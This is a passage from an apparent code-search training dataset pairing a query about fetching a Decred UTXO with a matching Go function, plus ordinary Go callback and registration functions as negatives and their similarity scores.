{\n\tservice := ctx.(*qutoService)\n\tservice.eventChan <- e\n}", "func (this *AlarmTask) RegisterCallback(callback AlarmCallback) {\n\tthis.lock.Lock()\n\tdefer this.lock.Unlock()\n\tthis.callback = append(this.callback, callback)\n}", "func (r *RegisterMonitor) register() {\n\tcatalog := r.Client.Catalog()\n\tserviceID := r.serviceID()\n\tserviceName := r.serviceName()\n\n\t// Determine the current state of this service in Consul\n\tvar currentService *api.CatalogService\n\tservices, _, err := catalog.Service(\n\t\tserviceName, \"\",\n\t\t&api.QueryOptions{AllowStale: true})\n\tif err == nil {\n\t\tfor _, service := range services {\n\t\t\tif serviceID == service.ServiceID {\n\t\t\t\tcurrentService = service\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\t// If we have a matching service, then we verify if we need to reregister\n\t// by comparing if it matches what we expect.\n\tif currentService != nil &&\n\t\tcurrentService.ServiceAddress == r.LocalAddress &&\n\t\tcurrentService.ServicePort == r.LocalPort {\n\t\tr.Logger.Printf(\"[DEBUG] proxy: service already registered, not re-registering\")\n\t\treturn\n\t}\n\n\t// If we're here, then we're registering the service.\n\terr = r.Client.Agent().ServiceRegister(&api.AgentServiceRegistration{\n\t\tKind: api.ServiceKindConnectProxy,\n\t\tID: serviceID,\n\t\tName: serviceName,\n\t\tAddress: r.LocalAddress,\n\t\tPort: r.LocalPort,\n\t\tProxy: &api.AgentServiceConnectProxyConfig{\n\t\t\tDestinationServiceName: r.Service,\n\t\t},\n\t\tCheck: &api.AgentServiceCheck{\n\t\t\tCheckID: r.checkID(),\n\t\t\tName: \"proxy heartbeat\",\n\t\t\tTTL: \"30s\",\n\t\t\tNotes: \"Built-in proxy will heartbeat this check.\",\n\t\t\tStatus: \"passing\",\n\t\t},\n\t})\n\tif err != nil {\n\t\tr.Logger.Printf(\"[WARN] proxy: Failed to register Consul service: %s\", err)\n\t\treturn\n\t}\n\n\tr.Logger.Printf(\"[INFO] proxy: registered Consul service: %s\", serviceID)\n}", "func fire(worker string, rpcname string, args interface{}, reply interface{}, group *sync.WaitGroup, registerChan chan string) {\n\tres := call(worker, rpcname, args, reply)\n\tif res {\n\t\tgroup.Done()\n\t\tregisterChan <- worker\n\t} else {\n\t\tworker := <- registerChan\n\t\tfire(worker, rpcname, args, reply, group, registerChan)\n\t}\n}", "func TestRegisterCallback(t *testing.T) {\n\tdefer leaktest.AfterTest(t)()\n\tstopper := stop.NewStopper()\n\tdefer stopper.Stop()\n\tis := newInfoStore(1, emptyAddr, stopper)\n\twg := &sync.WaitGroup{}\n\tcb := callbackRecord{wg: wg}\n\n\ti1 := is.newInfo(nil, time.Second)\n\ti2 := is.newInfo(nil, time.Second)\n\tif err := is.addInfo(\"key1\", i1); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif err := is.addInfo(\"key2\", i2); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\twg.Add(2)\n\tis.registerCallback(\"key.*\", cb.Add)\n\twg.Wait()\n\tactKeys := cb.Keys()\n\tsort.Strings(actKeys)\n\tif expKeys := []string{\"key1\", \"key2\"}; !reflect.DeepEqual(actKeys, expKeys) {\n\t\tt.Errorf(\"expected %v, got %v\", expKeys, cb.Keys())\n\t}\n}", "func TestCallbackInvokedWhenSetLate(t *testing.T) {\n\twg := &sync.WaitGroup{}\n\twg.Add(1)\n\tapp := blockedABCIApplication{\n\t\twg: wg,\n\t}\n\t_, c := setupClientServer(t, app)\n\treqRes := c.CheckTxAsync(types.RequestCheckTx{})\n\n\tdone := make(chan struct{})\n\tcb := func(_ *types.Response) {\n\t\tclose(done)\n\t}\n\treqRes.SetCallback(cb)\n\tapp.wg.Done()\n\t<-done\n\n\tvar called bool\n\tcb = func(_ *types.Response) {\n\t\tcalled = true\n\t}\n\treqRes.SetCallback(cb)\n\trequire.True(t, called)\n}", "func Callback(cbReq *CallbackRequest, opts *CallbackOptions) error {\n\tclient := opts.Client\n\tif client == nil {\n\t\tclient = http.DefaultClient\n\t}\n\tbuf := bytes.NewBuffer(nil)\n\terr := json.NewEncoder(buf).Encode(cbReq)\n\tif err != nil {\n\t\treturn err\n\t}\n\tsignature, err := opts.Signer.Sign(buf.Bytes())\n\tif err != nil {\n\t\treturn err\n\t}\n\treq, err := http.NewRequest(\"POST\", cbReq.StatusCallbackUrl, buf)\n\tif err != nil {\n\t\treturn err\n\t}\n\treq.Header.Set(\"X-OpenGDPR-Processor-Domain\", opts.ProcessorDomain)\n\treq.Header.Set(\"X-OpenGDPR-Signature\", signature)\n\t// Attempt to make callback\n\tfor i := 0; i < opts.MaxAttempts; i++ {\n\t\tresp, err := client.Do(req)\n\t\tif err != nil || resp.StatusCode != 200 {\n\t\t\ttime.Sleep(opts.Backoff)\n\t\t\tcontinue\n\t\t}\n\t\t// Success\n\t\treturn nil\n\t}\n\treturn fmt.Errorf(\"callback timed out for %s\", cbReq.StatusCallbackUrl)\n}", "func unregisterCallback(cbArg *callbackArg) {\n\tcallbacksLock.Lock()\n\tdefer callbacksLock.Unlock()\n\tif _, ok := callbacks[cbArg.id]; !ok {\n\t\tpanic(fmt.Sprintf(\"Callback ID %d not registered\", cbArg.id))\n\t}\n\tdelete(callbacks, cbArg.id)\n}", "func (n *DcrdNotifier) notificationDispatcher() {\n\tdefer n.wg.Done()\n\nout:\n\tfor {\n\t\tselect {\n\t\tcase cancelMsg := <-n.notificationCancels:\n\t\t\tswitch msg := cancelMsg.(type) {\n\t\t\tcase *epochCancel:\n\t\t\t\tchainntnfs.Log.Infof(\"Cancelling epoch \"+\n\t\t\t\t\t\"notification, epoch_id=%v\", msg.epochID)\n\n\t\t\t\t// First, we'll lookup the original\n\t\t\t\t// registration in order to stop the active\n\t\t\t\t// queue goroutine.\n\t\t\t\treg := n.blockEpochClients[msg.epochID]\n\t\t\t\treg.epochQueue.Stop()\n\n\t\t\t\t// Next, close the cancel channel for this\n\t\t\t\t// specific client, and wait for the client to\n\t\t\t\t// exit.\n\t\t\t\tclose(n.blockEpochClients[msg.epochID].cancelChan)\n\t\t\t\tn.blockEpochClients[msg.epochID].wg.Wait()\n\n\t\t\t\t// Once the client has exited, we can then\n\t\t\t\t// safely close the channel used to send epoch\n\t\t\t\t// notifications, in order to notify any\n\t\t\t\t// listeners that the intent has been\n\t\t\t\t// canceled.\n\t\t\t\tclose(n.blockEpochClients[msg.epochID].epochChan)\n\t\t\t\tdelete(n.blockEpochClients, msg.epochID)\n\t\t\t}\n\n\t\tcase registerMsg := <-n.notificationRegistry:\n\t\t\tswitch msg := registerMsg.(type) {\n\t\t\tcase *chainntnfs.HistoricalConfDispatch:\n\t\t\t\t// Look up whether the transaction/output script\n\t\t\t\t// has already confirmed in the active chain.\n\t\t\t\t// We'll do this in a goroutine to prevent\n\t\t\t\t// blocking potentially long rescans.\n\t\t\t\t//\n\t\t\t\t// TODO(wilmer): add retry logic if rescan fails?\n\t\t\t\tn.wg.Add(1)\n\t\t\t\tgo func() {\n\t\t\t\t\tdefer n.wg.Done()\n\n\t\t\t\t\tconfDetails, _, err := n.historicalConfDetails(\n\t\t\t\t\t\tmsg.ConfRequest,\n\t\t\t\t\t\tmsg.StartHeight, msg.EndHeight,\n\t\t\t\t\t)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tchainntnfs.Log.Error(err)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\n\t\t\t\t\t// If the historical dispatch finished\n\t\t\t\t\t// without error, we will invoke\n\t\t\t\t\t// UpdateConfDetails even if none were\n\t\t\t\t\t// found. This allows the notifier to\n\t\t\t\t\t// begin safely updating the height hint\n\t\t\t\t\t// cache at tip, since any pending\n\t\t\t\t\t// rescans have now completed.\n\t\t\t\t\terr = n.txNotifier.UpdateConfDetails(\n\t\t\t\t\t\tmsg.ConfRequest, confDetails,\n\t\t\t\t\t)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tchainntnfs.Log.Error(err)\n\t\t\t\t\t}\n\t\t\t\t}()\n\n\t\t\tcase *blockEpochRegistration:\n\t\t\t\tchainntnfs.Log.Infof(\"New block epoch subscription\")\n\n\t\t\t\tn.blockEpochClients[msg.epochID] = msg\n\n\t\t\t\t// If the client did not provide their best\n\t\t\t\t// known block, then we'll immediately dispatch\n\t\t\t\t// a notification for the current tip.\n\t\t\t\tif msg.bestBlock == nil {\n\t\t\t\t\tn.notifyBlockEpochClient(\n\t\t\t\t\t\tmsg, n.bestBlock.Height,\n\t\t\t\t\t\tn.bestBlock.Hash,\n\t\t\t\t\t)\n\n\t\t\t\t\tmsg.errorChan <- nil\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\t// Otherwise, we'll attempt to deliver the\n\t\t\t\t// backlog of notifications from their best\n\t\t\t\t// known block.\n\t\t\t\tmissedBlocks, err := chainntnfs.GetClientMissedBlocks(\n\t\t\t\t\tn.cca, msg.bestBlock,\n\t\t\t\t\tn.bestBlock.Height, true,\n\t\t\t\t)\n\t\t\t\tif err != nil {\n\t\t\t\t\tmsg.errorChan <- err\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tfor _, block := range missedBlocks {\n\t\t\t\t\tn.notifyBlockEpochClient(\n\t\t\t\t\t\tmsg, block.Height, block.Hash,\n\t\t\t\t\t)\n\t\t\t\t}\n\n\t\t\t\tmsg.errorChan <- nil\n\t\t\t}\n\n\t\tcase item := <-n.chainUpdates.ChanOut():\n\t\t\tupdate := item.(*filteredBlock)\n\t\t\theader := update.header\n\t\t\tif update.connect {\n\t\t\t\tif header.PrevBlock != *n.bestBlock.Hash {\n\t\t\t\t\t// Handle the case where the notifier\n\t\t\t\t\t// missed some blocks from its chain\n\t\t\t\t\t// backend\n\t\t\t\t\tchainntnfs.Log.Infof(\"Missed blocks, \" +\n\t\t\t\t\t\t\"attempting to catch up\")\n\t\t\t\t\tnewBestBlock, missedBlocks, err :=\n\t\t\t\t\t\tchainntnfs.HandleMissedBlocks(\n\t\t\t\t\t\t\tn.cca,\n\t\t\t\t\t\t\tn.txNotifier,\n\t\t\t\t\t\t\tn.bestBlock,\n\t\t\t\t\t\t\tint32(header.Height),\n\t\t\t\t\t\t\ttrue,\n\t\t\t\t\t\t)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t// Set the bestBlock here in case\n\t\t\t\t\t\t// a catch up partially completed.\n\t\t\t\t\t\tn.bestBlock = newBestBlock\n\t\t\t\t\t\tchainntnfs.Log.Error(err)\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\n\t\t\t\t\tfor _, block := range missedBlocks {\n\t\t\t\t\t\tfilteredBlock, err := n.fetchFilteredBlock(block)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tchainntnfs.Log.Error(err)\n\t\t\t\t\t\t\tcontinue out\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\terr = n.handleBlockConnected(filteredBlock)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tchainntnfs.Log.Error(err)\n\t\t\t\t\t\t\tcontinue out\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// TODO(decred) Discuss and decide how to do this.\n\t\t\t\t// This is necessary because in dcrd, OnBlockConnected will\n\t\t\t\t// only return filtered transactions, so we need to actually\n\t\t\t\t// load a watched transaction using LoadTxFilter (which is\n\t\t\t\t// currently not done in RegisterConfirmationsNtfn).\n\t\t\t\tbh := update.header.BlockHash()\n\t\t\t\tfilteredBlock, err := n.fetchFilteredBlockForBlockHash(&bh)\n\t\t\t\tif err != nil {\n\t\t\t\t\tchainntnfs.Log.Error(err)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tif err := n.handleBlockConnected(filteredBlock); err != nil {\n\t\t\t\t\tchainntnfs.Log.Error(err)\n\t\t\t\t}\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif header.Height != uint32(n.bestBlock.Height) {\n\t\t\t\tchainntnfs.Log.Infof(\"Missed disconnected\" +\n\t\t\t\t\t\"blocks, attempting to catch up\")\n\t\t\t}\n\n\t\t\tnewBestBlock, err := chainntnfs.RewindChain(\n\t\t\t\tn.cca, n.txNotifier, n.bestBlock,\n\t\t\t\tint32(header.Height-1),\n\t\t\t)\n\t\t\tif err != nil {\n\t\t\t\tchainntnfs.Log.Errorf(\"Unable to rewind chain \"+\n\t\t\t\t\t\"from height %d to height %d: %v\",\n\t\t\t\t\tn.bestBlock.Height, int32(header.Height-1), err)\n\t\t\t}\n\n\t\t\t// Set the bestBlock here in case a chain rewind\n\t\t\t// partially completed.\n\t\t\tn.bestBlock = newBestBlock\n\n\t\tcase <-n.quit:\n\t\t\tbreak out\n\t\t}\n\t}\n}", "func RegisterDID(usage string) (string, ed25519.PrivateKey, error) {\n\t// generate ed25519 key pair\n\tpubKey, privateKey, err := ed25519.GenerateKey(rand.Reader)\n\tif err != nil {\n\t\tlog.Error(\"failed to generate public key\", err)\n\t\treturn \"\", nil, err\n\t}\n\n\t// use uuid as job id\n\tUUID := uuid.New()\n\tuuidStr := UUID.String()\n\n\tregisterReq := RegisterDIDReq{\n\t\tJobID: uuidStr,\n\t\tDIDDocument: DIDDocument{\n\t\t\tPublicKey: []*PublicKey{\n\t\t\t\t{ID: KEYIDDEFAULT, Type: ED25519VERIFICATIONKEY2018, Value: base64.StdEncoding.EncodeToString(pubKey),\n\t\t\t\t\tEncoding: JWK, KeyType: ED25519, Usage: []string{\"general\", usage}},\n\t\t\t\t{ID: KEYIDRECOVERY, Type: ED25519VERIFICATIONKEY2018, Value: base64.StdEncoding.EncodeToString(pubKey),\n\t\t\t\t\tEncoding: JWK, KeyType: ED25519, Recovery: true},\n\t\t\t},\n\t\t\tService: []*Service{\n\t\t\t\t{ID: \"service\", Type: \"service-type\", ServiceEndpoint: \"http://www.example.com\"},\n\t\t\t},\n\t\t},\n\t}\n\n\trequestBytes, err := json.Marshal(registerReq)\n\tif err != nil {\n\t\tlog.Error(\"error marshalling register did request \", err)\n\t\treturn \"\", nil, err\n\t}\n\n\tinitConfig()\n\tregistrarHost := viper.GetString(\"registrar.host\")\n\n\t// call sandbox registrar to create/register new did\n\treqURL := \"https://\" + registrarHost + \"/1.0/register?driverId=driver-did-method-rest\"\n\treq, err := http.NewRequest(\"POST\", reqURL, bytes.NewBuffer(requestBytes))\n\tif err != nil {\n\t\tlog.Error(\"error creating new request \", err)\n\t\treturn \"\", nil, err\n\t}\n\n\tclient := http.Client{}\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\tlog.Error(\"error executing request \", err)\n\t\treturn \"\", nil, err\n\t}\n\n\tdata, _ := ioutil.ReadAll(resp.Body)\n\tdefer resp.Body.Close()\n\tdid := \"\"\n\n\tif resp.StatusCode == 200 {\n\t\tregisterResp := RegisterResponse{}\n\t\terr = json.Unmarshal(data, &registerResp)\n\t\tif err != nil {\n\t\t\tlog.Error(\"error unmarshalling register response \", err)\n\t\t\treturn \"\", nil, err\n\t\t}\n\n\t\tlog.Printf(\"register response => %+v\", registerResp)\n\t\tdid = registerResp.DIDState.Identifier\n\n\t\treturn did, privateKey, nil\n\t} else {\n\t\tlog.Error(\"error registering new did\")\n\t\treturn did, nil, errors.New(\"error registering new did\")\n\t}\n}", "func (l *Libvirt) DomainEventCallbackDiskChange() (err error) {\n\tvar buf []byte\n\n\n\t_, err = l.requestStream(327, constants.Program, buf, nil, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\treturn\n}", "func RegisterCallback(fn func(cmd string, args ...string) int) {\n\tname := getFullyQualifiedFunctionName(fn)\n\treggedFunctions[name] = fn\n}", "func (ctrler CtrlDefReactor) OnDistributedServiceCardDelete(obj *DistributedServiceCard) error {\n\tlog.Info(\"OnDistributedServiceCardDelete is not implemented\")\n\treturn nil\n}", "func (r *rpcServerService) Register(receiver interface{}, name string) error {\n\n if name == \"\" {\n msg := \"name for rpc service cannot be empty\"\n glog.Error(msg)\n return errors.New(msg)\n }\n if _, present := r.serviceMap.Get(name); present {\n return errors.New(\"rpc service already defined: \" + name)\n }\n service := new(rpcServiceMap)\n service.name = name\n service.rcvr = reflect.ValueOf(receiver)\n service.rcvrType = reflect.TypeOf(receiver)\n\n // Install the methods\n service.method = registerMethods(service.rcvrType)\n\n if len(service.method) == 0 {\n msg := \"no exported methods found for service \" + name\n glog.Error(msg)\n return errors.New(msg)\n }\n glog.V(1).Infof(\"registering rpc service: service:%s with numMethods:%v\",\n service.name, len(service.method))\n r.serviceMap.Add(service.name, service)\n return nil\n}", "func (l *Libvirt) DomainEventCallbackLifecycle() (err error) {\n\tvar buf []byte\n\n\n\t_, err = l.requestStream(318, constants.Program, buf, nil, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\treturn\n}", "func DllRegisterServer() { main() }", "func (l *LifeCycle) Listen(callback func([]*ec2.Instance) error) error {\n\tf := l.newProcessFunc(callback)\n\t// run for the first time to fix/update existing record set.\n\teventName := \"init proxy manager\"\n\tif err := f(&eventName); err != nil {\n\t\treturn err\n\t}\n\n\tfor {\n\t\tselect {\n\t\tcase c := <-l.closeChan:\n\t\t\tclose(c)\n\t\t\treturn nil\n\t\tdefault:\n\t\t\tif err := l.fetchMessage(f); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n}", "func (p *Probe) AddNewNotifyDiscarderPushedCallback(cb NotifyDiscarderPushedCallback) {\n\tp.notifyDiscarderPushedCallbacksLock.Lock()\n\tdefer p.notifyDiscarderPushedCallbacksLock.Unlock()\n\n\tp.notifyDiscarderPushedCallbacks = append(p.notifyDiscarderPushedCallbacks, cb)\n}", "func (l *Libvirt) DomainEventCallbackBlockJob() (err error) {\n\tvar buf []byte\n\n\n\t_, err = l.requestStream(326, constants.Program, buf, nil, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\treturn\n}", "func (s *Server) Register(srv pb.Proxy_RegisterServer) error {\n\tctx := srv.Context()\n\tname, err := getMetadata(ctx, \"provider\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tp := provider{\n\t\trequest: make(chan *pb.FileRequest),\n\t\tcallbacks: make(map[string]callbackFunc),\n\t}\n\ts.Lock()\n\ts.providers[name] = p\n\ts.Unlock()\n\tlog.Printf(\"registered: %s\\n\", name)\n\tlog.Printf(\"starting provider %s\\n\", name)\n\n\tgo func() {\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase <-ctx.Done():\n\t\t\t\treturn\n\t\t\tcase r, ok := <-p.request:\n\t\t\t\tlog.Printf(\"request for %s@%s received\\n\", r.Path, r.Provider)\n\t\t\t\tif !ok {\n\t\t\t\t\tlog.Printf(\"request channel of provider %s closed\", name)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tif err := srv.Send(r); err != nil {\n\t\t\t\t\tlog.Printf(\"send failed: %v\", err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}()\n\tfor {\n\t\tm, err := srv.Recv()\n\t\tswitch err {\n\t\tcase io.EOF:\n\t\t\treturn fmt.Errorf(\"provider %s closed\", name)\n\t\tcase nil:\n\t\t\tp.callbacks[m.Line.Key](m.Line)\n\t\tdefault:\n\t\t\treturn fmt.Errorf(\"failed to receive from provider %s: %v\", name, err)\n\t\t}\n\t}\n\treturn nil\n}", "func RegisterJavaCallback(c JavaCallback) {\n\tjc = c\n}", "func (_Bridge *BridgeTransactor) RegisterCallbackResult(opts *bind.TransactOpts, _uid string, _tid string, _seq string, _errorCode string, _errorMsg string, _result []string) (*types.Transaction, error) {\n\treturn _Bridge.contract.Transact(opts, \"registerCallbackResult\", _uid, _tid, _seq, _errorCode, _errorMsg, _result)\n}", "func (clt *SMServiceClient) SubscribeDemand(ctx context.Context, dmcb func(*SMServiceClient, *Demand)) error {\n\tch := clt.getChannel()\n\tdmc, err := clt.Client.SubscribeSyncDemand(ctx, ch)\n\t//log.Printf(\"Test3 %v\", ch)\n\t//wg.Done()\n\tif err != nil {\n\t\tlog.Printf(\"SubscribeDemand Error...\\n\")\n\t\treturn err // sender should handle error...\n\t} else {\n\t\tlog.Print(\"Connect Synerex Server!\\n\")\n\t}\n\tfor {\n\t\tvar dm *Demand\n\t\tdm, err = dmc.Recv() // receive Demand\n\t\t//log.Printf(\"\\x1b[30m\\x1b[47m SXUTIL: DEMAND\\x1b[0m\\n\")\n\t\tif err != nil {\n\t\t\tif err == io.EOF {\n\t\t\t\tlog.Print(\"End Demand subscribe OK\")\n\t\t\t} else {\n\t\t\t\tlog.Printf(\"SMServiceClient SubscribeDemand error %v\\n\", err)\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\t\t//\t\tlog.Println(\"Receive SD:\",*dm)\n\t\t// call Callback!\n\t\tdmcb(clt, dm)\n\t}\n\treturn err\n}", "func (h *ExternalRegistrySyncHandler) Handle(object types.NamespacedName) error {\n\tlog := logger.WithValues(\"namespace\", object.Namespace, \"name\", object.Name)\n\t// get external registry\n\texreg := &v1.ExternalRegistry{}\n\texregNamespacedName := object\n\tif err := h.k8sClient.Get(context.TODO(), exregNamespacedName, exreg); err != nil {\n\t\tlog.Error(err, \"\")\n\t}\n\n\tusername, password := \"\", \"\"\n\tif exreg.Status.LoginSecret != \"\" {\n\t\tbasic, err := utils.GetBasicAuth(exreg.Status.LoginSecret, exreg.Namespace, exreg.Spec.RegistryURL)\n\t\tif err != nil {\n\t\t\tlog.Error(err, \"failed to get basic auth\")\n\t\t}\n\n\t\tusername, password = utils.DecodeBasicAuth(basic)\n\t}\n\n\tvar ca []byte\n\tif exreg.Spec.CertificateSecret != \"\" {\n\t\tdata, err := utils.GetCAData(exreg.Spec.CertificateSecret, exreg.Namespace)\n\t\tif err != nil {\n\t\t\tlog.Error(err, \"failed to get ca data\")\n\t\t}\n\t\tca = data\n\t}\n\n\tsyncFactory := factory.NewRegistryFactory(\n\t\th.k8sClient,\n\t\texregNamespacedName,\n\t\th.scheme,\n\t\thttp.NewHTTPClient(\n\t\t\texreg.Spec.RegistryURL,\n\t\t\tusername, password,\n\t\t\tca,\n\t\t\texreg.Spec.Insecure,\n\t\t),\n\t)\n\n\tsyncClient, ok := syncFactory.Create(exreg.Spec.RegistryType).(base.Synchronizable)\n\tif !ok {\n\t\terr := errors.New(\"unable to convert to synchronizable\")\n\t\tlog.Error(err, \"failed to create sync client\", \"RegistryType\", exreg.Spec.RegistryType)\n\t\treturn err\n\t}\n\tif err := syncClient.Synchronize(); err != nil {\n\t\tlog.Error(err, \"failed to synchronize external registry\")\n\t\treturn err\n\t}\n\treturn nil\n}", "func onConnect(c *gnet.Connection, solicited bool) {\n\tfmt.Printf(\"Event Callback: connnect event \\n\")\n}", "func (a *Adjudicator) Register(ctx context.Context, req channel.AdjudicatorReq) error {\n\tif req.Tx.State.IsFinal {\n\t\treturn a.registerFinal(ctx, req)\n\t}\n\treturn a.registerNonFinal(ctx, req)\n}", "func (l *Libvirt) DomainEventCallbackDeviceRemoved() (err error) {\n\tvar buf []byte\n\n\n\t_, err = l.requestStream(333, constants.Program, buf, nil, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\treturn\n}", "func (m *Monitor) notifyCallback(input, output []byte) {\n\tif m.Callback != nil {\n\t\tm.Callback(m, input, output)\n\t}\n}", "func (bft *ProtocolBFTCoSi) RegisterOnDone(fn func()) {\n\tbft.onDone = fn\n}" ]
[ "0.60473645", "0.57003", "0.5675279", "0.5597069", "0.55876535", "0.5491899", "0.54417133", "0.5438028", "0.5405987", "0.53921646", "0.5382326", "0.53731453", "0.5370236", "0.5298568", "0.5271958", "0.5263506", "0.52496874", "0.5180834", "0.5145246", "0.5117063", "0.5112205", "0.5096994", "0.5062039", "0.50592196", "0.50565606", "0.5053132", "0.50510967", "0.5045779", "0.5032207", "0.5023166", "0.49795124", "0.4978413", "0.49735448", "0.49628928", "0.4955685", "0.49497795", "0.4941267", "0.4936148", "0.4933629", "0.4919159", "0.4916691", "0.49160084", "0.4898666", "0.48939934", "0.4871902", "0.48584262", "0.48543337", "0.48452544", "0.48393738", "0.4828579", "0.48261276", "0.48228475", "0.48135623", "0.4809669", "0.48072362", "0.48017424", "0.4797778", "0.47958237", "0.4795226", "0.47875547", "0.47804576", "0.4771142", "0.4765318", "0.4765286", "0.47628883", "0.47615454", "0.47608134", "0.4755116", "0.47545344", "0.474898", "0.47406211", "0.47384188", "0.47376788", "0.4734449", "0.47339767", "0.47318378", "0.47276568", "0.47258914", "0.47210038", "0.47189695", "0.47165617", "0.4715196", "0.4707384", "0.47059238", "0.47003993", "0.4696586", "0.46874127", "0.46736073", "0.46706674", "0.46699667", "0.46696475", "0.4668896", "0.4666365", "0.46634838", "0.46624923", "0.46611825", "0.4659615", "0.4653299", "0.46519107", "0.4649929", "0.4645966" ]
0.0
-1
Get the UTXO, populating the block data along the way.
func (dcr *DCRBackend) utxo(txHash *chainhash.Hash, vout uint32, redeemScript []byte) (*UTXO, error) { txOut, verboseTx, pkScript, err := dcr.getTxOutInfo(txHash, vout) if err != nil { return nil, err } inputNfo, err := dexdcr.InputInfo(pkScript, redeemScript, chainParams) if err != nil { return nil, err } scriptType := inputNfo.ScriptType // If it's a pay-to-script-hash, extract the script hash and check it against // the hash of the user-supplied redeem script. if scriptType.IsP2SH() { scriptHash, err := dexdcr.ExtractScriptHashByType(scriptType, pkScript) if err != nil { return nil, fmt.Errorf("utxo error: %v", err) } if !bytes.Equal(dcrutil.Hash160(redeemScript), scriptHash) { return nil, fmt.Errorf("script hash check failed for utxo %s,%d", txHash, vout) } } blockHeight := uint32(verboseTx.BlockHeight) var blockHash chainhash.Hash var lastLookup *chainhash.Hash // UTXO is assumed to be valid while in mempool, so skip the validity check. if txOut.Confirmations > 0 { if blockHeight == 0 { return nil, fmt.Errorf("no raw transaction result found for tx output with "+ "non-zero confirmation count (%s has %d confirmations)", txHash, txOut.Confirmations) } blk, err := dcr.getBlockInfo(verboseTx.BlockHash) if err != nil { return nil, err } blockHeight = blk.height blockHash = blk.hash } else { // Set the lastLookup to the current tip. tipHash := dcr.blockCache.tipHash() if tipHash != zeroHash { lastLookup = &tipHash } } // Coinbase, vote, and revocation transactions all must mature before // spending. var maturity int64 if scriptType.IsStake() || txOut.Coinbase { maturity = int64(chainParams.CoinbaseMaturity) } if txOut.Confirmations < maturity { return nil, immatureTransactionError } tx, err := dcr.transaction(txHash, verboseTx) if err != nil { return nil, fmt.Errorf("error fetching verbose transaction data: %v", err) } return &UTXO{ dcr: dcr, tx: tx, height: blockHeight, blockHash: blockHash, vout: vout, maturity: int32(maturity), scriptType: scriptType, pkScript: pkScript, redeemScript: redeemScript, numSigs: inputNfo.ScriptAddrs.NRequired, // The total size associated with the wire.TxIn. spendSize: inputNfo.SigScriptSize + dexdcr.TxInOverhead, value: toAtoms(txOut.Value), lastLookup: lastLookup, }, nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (c *ChainIO) GetUtxo(op *wire.OutPoint, _ []byte,\n\theightHint uint32, _ <-chan struct{}) (*wire.TxOut, er.R) {\n\n\treturn nil, nil\n}", "func (client *Client) UTXO(address string) ([]btc.UTXO, error) {\n\tvar response []btc.UTXO\n\terrorResp := &errorResponse{}\n\n\tresp, err := client.client.Post(\"/btc/getUtxo\").BodyJSON(&nonceRequest{\n\t\tAddress: address,\n\t}).Receive(&response, errorResp)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif code := resp.StatusCode; 200 < code || code > 299 {\n\t\treturn nil, fmt.Errorf(\"(%s) %s\", resp.Status, errorResp.Message)\n\t}\n\n\tjsontext, _ := json.Marshal(response)\n\n\tclient.DebugF(\"response(%d) :%s\", resp.StatusCode, string(jsontext))\n\n\treturn response, nil\n}", "func (s *RPCChainIO) GetUtxo(op *wire.OutPoint, pkScript []byte,\n\theightHint uint32, cancel <-chan struct{}) (*wire.TxOut, error) {\n\n\ts.mu.Lock()\n\tdefer s.mu.Unlock()\n\tif s.chain == nil {\n\t\treturn nil, ErrUnconnected\n\t}\n\n\ttxout, err := s.chain.GetTxOut(context.TODO(), &op.Hash, op.Index, op.Tree, false)\n\tif err != nil {\n\t\treturn nil, err\n\t} else if txout == nil {\n\t\treturn nil, ErrOutputSpent\n\t}\n\n\tpkScript, err = hex.DecodeString(txout.ScriptPubKey.Hex)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Sadly, gettxout returns the output value in DCR instead of atoms.\n\tamt, err := dcrutil.NewAmount(txout.Value)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &wire.TxOut{\n\t\tValue: int64(amt),\n\t\tPkScript: pkScript,\n\t}, nil\n}", "func (d *AddressCacheItem) UTXOs() ([]*dbtypes.AddressTxnOutput, *BlockID) {\n\td.mtx.RLock()\n\tdefer d.mtx.RUnlock()\n\tif d.utxos == nil {\n\t\treturn nil, nil\n\t}\n\treturn d.utxos, d.blockID()\n}", "func (s *StateDB) GetUtxo(addr types.AddressHash) ([]byte, error) {\n\treturn s.utxoTrie.Get(addr[:])\n}", "func (b *BlockChain) UpdateUtreexoBS(block *btcutil.Block, stxos []SpentTxOut) (*btcacc.UData, error) {\n\tif block.Height() == 0 {\n\t\treturn nil, nil\n\t}\n\tinskip, outskip := block.DedupeBlock()\n\tdels, err := blockToDelLeaves(stxos, block, inskip)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tadds := blockToAddLeaves(block, nil, outskip)\n\n\tud, err := btcacc.GenUData(dels, b.UtreexoBS.forest, block.Height())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// append space for the ttls\n\tud.TxoTTLs = 